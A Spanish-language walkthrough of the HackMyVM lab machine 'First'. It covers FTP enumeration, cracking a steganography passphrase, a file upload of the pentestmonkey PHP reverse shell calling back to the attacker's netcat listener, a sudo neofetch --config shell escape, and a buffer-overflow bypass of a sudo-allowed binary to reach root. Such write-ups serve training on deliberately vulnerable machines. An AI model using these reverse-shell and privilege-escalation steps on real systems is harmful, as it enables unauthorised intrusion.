First

Hoy vamos a realizar la primera máquina del autor WWFYMN en HackMyVM, donde tiene un poco de todo y una escalada que en su momento dejé de lado, porque pensé que había que realizar la técnica de un buffer overflow… ¿en easy? Vamos a comprobarlo.

Reconocimiento de Puertos

En primer lugar averiguamos la IP de la máquina víctima:

sudo arp-scan -l | grep "PCS"
192.168.0.21  08:00:27:37:97:2b PCS Systemtechnik GmbH

Ahora definimos la IP en una variable para no tener que escribirla todo el rato, y realizamos el reconocimiento de puertos con un pequeño script que creé para automatizar este proceso inicial:

❯ ./nmapauto.sh $ip

 [*] Reconocimiento inicial de puertos

Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-05 19:19 CET
Initiating Ping Scan at 19:19
Scanning 192.168.0.21 [2 ports]
Completed Ping Scan at 19:19, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 19:19
Scanning 192.168.0.21 [65535 ports]
Discovered open port 22/tcp on 192.168.0.21
Discovered open port 21/tcp on 192.168.0.21
Discovered open port 80/tcp on 192.168.0.21
Completed Connect Scan at 19:19, 3.25s elapsed (65535 total ports)
Nmap scan report for 192.168.0.21
Host is up (0.00020s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.32 seconds

 [*] Escaneo avanzado de servicios

Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-05 19:19 CET
Nmap scan report for 192.168.0.21
Host is up (0.00023s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    2 0        0            4096 Aug 09 10:16 fifth
| drwxr-xr-x    2 0        0            4096 Aug 10 12:44 first
| drwxr-xr-x    2 0        0            4096 Aug 09 10:16 fourth
| drwxr-xr-x    2 0        0            4096 Aug 09 10:16 seccond
|_drwxr-xr-x    2 0        0            4096 Aug 09 10:16 third
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.0.24
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b8:57:5b:81:5a:78:1f:d6:ff:60:39:bb:32:a8:5d:cd (RSA)
|   256 65:8d:43:ec:63:77:d0:39:c0:1b:3e:40:d9:53:1e:ed (ECDSA)
|_  256 0f:02:ac:df:e1:31:3c:b2:59:f6:b7:59:09:f1:ff:f8 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.88 seconds

 [*] Escaneo completado, se ha generado el fichero InfoPuertos

Ojo, ya hemos descubierto que tenemos acceso vía FTP con el usuario “Anonymous”, vamos a ver ahora qué muestra la web:

 ❯ curl $ip
I Finnaly got apache working, I am tired so I will do the todo list tomorrow. -first

Aquí lo que sacamos es que probablemente exista un usuario llamado “first”.

FTP

Vamos ahora conectarnos vía FTP como “Anonymous”:

❯ ftp -p $ip
Connected to 192.168.0.21.
220 (vsFTPd 3.0.3)
Name (192.168.0.21:kaian): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
227 Entering Passive Mode (192,168,0,21,82,198).
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Aug 09 10:16 fifth
drwxr-xr-x    2 0        0            4096 Aug 10 12:44 first
drwxr-xr-x    2 0        0            4096 Aug 09 10:16 fourth
drwxr-xr-x    2 0        0            4096 Aug 09 10:16 seccond
drwxr-xr-x    2 0        0            4096 Aug 09 10:16 third
226 Directory send OK.

Existen 5 directorios. Vamos a ver qué nos encontramos:

ftp> cd first
250 Directory successfully changed.
ftp> ls
227 Entering Passive Mode (192,168,0,21,186,152).
150 Here comes the directory listing.
-rw-r--r--    1 0        0           33526 Aug 10 12:42 first_Logo.jpg
226 Directory send OK.
ftp> get first_Logo.jpg
local: first_Logo.jpg remote: first_Logo.jpg
227 Entering Passive Mode (192,168,0,21,202,89).
150 Opening BINARY mode data connection for first_Logo.jpg (33526 bytes).
226 Transfer complete.
33526 bytes received in 0.01 secs (2.1477 MB/s)

Hemos encontrado una imagen y la hemos descargado, veamos:

La imagen no nos dice nada, veamos si tiene alguna información oculta:

❯ steghide info first_Logo.jpg
"first_Logo.jpg":
  formato: jpeg
  capacidad: 1,4 KB
Intenta informarse sobre los datos adjuntos? (s/n) s
Anotar salvoconducto: 
steghide: no pude extraer ningn dato con ese salvoconducto!

La tiene, y además con contraseña, así que vamos a tratar de obtenerla utilizando fuerza bruta:

Fuerza bruta a contraseña en imagen

❯ stegseek first_Logo.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "firstgurl1"       
[i] Original filename: "secret.txt".
[i] Extracting to "first_Logo.jpg.out".
cat first_Logo.jpg.out
SGkgSSBoYWQgdG8gY2hhbmdlIHRoZSBuYW1lIG9mIHRoZSB0b2RvIGxpc3QgYmVjb3VzZSBkaXJlY3RvcnkgYnVzdGluZyBpcyB0b28gZWFzeSB0aGVlc2UgZGF5cyBhbHNvIEkgZW5jb2RlZCB0aGlzIGluIGJlc2E2NCBiZWNvdXNlIGl0IGlzIGNvb2wgYnR3IHlvdXIgdG9kbyBsaXN0IGlzIDogMmYgNzQgMzAgNjQgMzAgNWYgNmMgMzEgNzMgNzQgNWYgNjYgMzAgNzIgNWYgNjYgMzEgNzIgMzUgNzQgZG8gaXQgcXVpY2sgd2UgYXJlIHZ1bG5hcmFibGUgZG8gdGhlIGZpcnN0IGZpcnN0IA==

Parece un mensaje codificado en Base64, así que lo descodificamos:

Descodificando mensaje

echo "SGkgSSBoYWQgdG8gY2hhbmdlIHRoZSBuYW1lIG9mIHRoZSB0b2RvIGxpc3QgYmVjb3VzZSBkaXJlY3RvcnkgYnVzdGluZyBpcyB0b28gZWFzeSB0aGVlc2UgZGF5cyBhbHNvIEkgZW5jb2RlZCB0aGlzIGluIGJlc2E2NCBiZWNvdXNlIGl0IGlzIGNvb2wgYnR3IHlvdXIgdG9kbyBsaXN0IGlzIDogMmYgNzQgMzAgNjQgMzAgNWYgNmMgMzEgNzMgNzQgNWYgNjYgMzAgNzIgNWYgNjYgMzEgNzIgMzUgNzQgZG8gaXQgcXVpY2sgd2UgYXJlIHZ1bG5hcmFibGUgZG8gdGhlIGZpcnN0IGZpcnN0IA==" | base64 -d
Hi I had to change the name of the todo list becouse directory busting is too easy theese days also I encoded this in besa64 becouse it is cool btw your todo list is : 2f 74 30 64 30 5f 6c 31 73 74 5f 66 30 72 5f 66 31 72 35 74 do it quick we are vulnarable do the first first

Ahora nos da otra “clave” pero en hexadecimal:

echo "2f 74 30 64 30 5f 6c 31 73 74 5f 66 30 72 5f 66 31 72 35 74" | xxd -ps -r
/t0d0_l1st_f0r_f1r5t

Vale, tenemos un directorio secreto que no íbamos a encontrar haciendo fuzzing, vamos a ver qué muestra:

Ahora sí, realizamos fuzzing sobre este directorio:

Fuzzing

❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x php,html,txt -u $ip/t0d0_l1st_f0r_f1r5t/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.21/t0d0_l1st_f0r_f1r5t/
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html,txt,php
[+] Timeout:                 10s
===============================================================
2022/12/05 20:22:12 Starting gobuster in directory enumeration mode
===============================================================
/upload.php           (Status: 200) [Size: 348]
/photos               (Status: 301) [Size: 333] [--> http://192.168.0.21/t0d0_l1st_f0r_f1r5t/photos/]
/uploads              (Status: 301) [Size: 334] [--> http://192.168.0.21/t0d0_l1st_f0r_f1r5t/uploads/]
/index.html           (Status: 200) [Size: 205]                                                       
                                                                                                      
===============================================================
2022/12/05 20:24:37 Finished
===============================================================

Parece que hemos encontrado una vía de explotación a través de “upload.php”.

Reverse shell

Veamos si nos permite subir una reverse shell (usaremos como siempre la de pentestmonkey) directamente sin comprobaciones:

The file php-reverse-shell.php has been uploaded.

Ha habido suerte, si nos vamos al directorio “uploads”:

Bien, a tener en cuenta que la reverse shell ya está editada con mi IP y solo falta ponernos en escucha con Netcat a través del puerto que hayamos configurado y hacer clic en la misma desde el navegador. Tras conectarnos realizaremos el tratamiento de la terminal para tenerla completamente operativa y sin cortes:

❯ nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.0.24] from (UNKNOWN) [192.168.0.21] 49006
Linux first 5.4.0-122-generic #138-Ubuntu SMP Wed Jun 22 15:00:31 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 20:21:35 up  2:05,  0 users,  load average: 0.00, 0.00, 0.47
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, file is /dev/null
www-data@first:/$ ^Z
zsh: suspended  nc -nlvp 1234
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 1234
                               reset
reset: unknown terminal type unknown
Terminal type? xterm
www-data@first:/$ export TERM=xterm
www-data@first:/$ export SHELL=bash
www-data@first:/$ stty columns 184 rows 44
www-data@first:/$ cd /home
www-data@first:/home$ ls
first
www-data@first:/home$ cd first
www-data@first:/home/first$ ls
user.txt
www-data@first:/home/first$ cat user.txt

Y con esto ya tenemos la flag de user.

Escalada de privilegios

Como hacemos siempre, si miramos la lista de permisos que tenemos para usar privilegios de otro usuario vemos lo siguiente

www-data@first:/home/first$ sudo -l
Matching Defaults entries for www-data on first:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on first:
    (first : first) NOPASSWD: /bin/neofetch

De esta forma, vamos a tratar de pivotar al usuario “first”. Para ello vamos a mirar la ayuda de neofetch para ver si nos podemos aprovechar de algo:

Esa opción parece interesante, así que vamos a crear un fichero en el que tengamos permisos de escritura y hacer que lo ejecute ese binario:

www-data@first:/tmp$ mktemp
/tmp/tmp.evCpbdlQaa
www-data@first:/tmp$ nano /tmp/tmp.evCpbdlQaa

Introducimos este contenido y guardamos:

#!/bin/bash

bash -i

Le damos permisos al fichero para que pueda leerlo neofetch y ejecutamos el binario como “first”:

www-data@first:/home$ chmod 655 /tmp/tmp.KDh1g6M8ro
www-data@first:/home$ sudo -u first neofetch --config /tmp/tmp.KDh1g6M8ro
first@first:~$ whoami
first

Volvemos a comprobar en este caso qué permisos tiene este usuario:

first@first:~$ sudo -l
Matching Defaults entries for first on first:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User first may run the following commands on first:
    (ALL) NOPASSWD: /bin/secret

Como recordaréis, al principio nos dio una pista (patch the buffer overflow in our secret file ;)), y al ejecutar ese binario pide una pass la cual no conocemos. Lo que vamos a intentar es meter varios caracteres y ver si “escapamos” de la comprobación.

first@first:/home$ sudo secret
pass: EsperemosQueFuncioneElBufferOverflow
correct, input command:bash
root@first:/home# cd /root
root@first:~# ls
r00t.txt  snap
root@first:~# cat r00t.txt 

Pues con esto terminaríamos la máquina, la cual la parte de la escalada me ha parecido bastante novedosa y más compleja que el resto.

Extra (Buffer Overflow)

Tras terminar la máquina, aunque no me hizo falta para la resolución, vamos a tratar de explicar por qué funcionó esa pass que pusimos inventada. Me voy a traer el binario a la máquina atacante para examinarlo, por lo que creo un servidor Python python3 -m http.server desde “/bin” y lo descargo:

❯ wget $ip:8000/secret
--2022-12-06 00:11:14--  http://192.168.0.21:8000/secret
Conectando con 192.168.0.21:8000... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 16944 (17K) [application/octet-stream]
Grabando a: «secret»

secret                100%[======================>]  16,55K  --.-KB/s    en 0s      

2022-12-06 00:11:14 (145 MB/s) - «secret» guardado [16944/16944]

Abro ghidra, creo un proyecto e importo el binario, busco por “pass” y llego a esta función:

Si no interpreto mal, podremos “saltarnos” la contraseña con una pass de entre 11 y 114 caracteres tal y como podemos ver en la definición de esas variables. Nos vemos en la siguiente.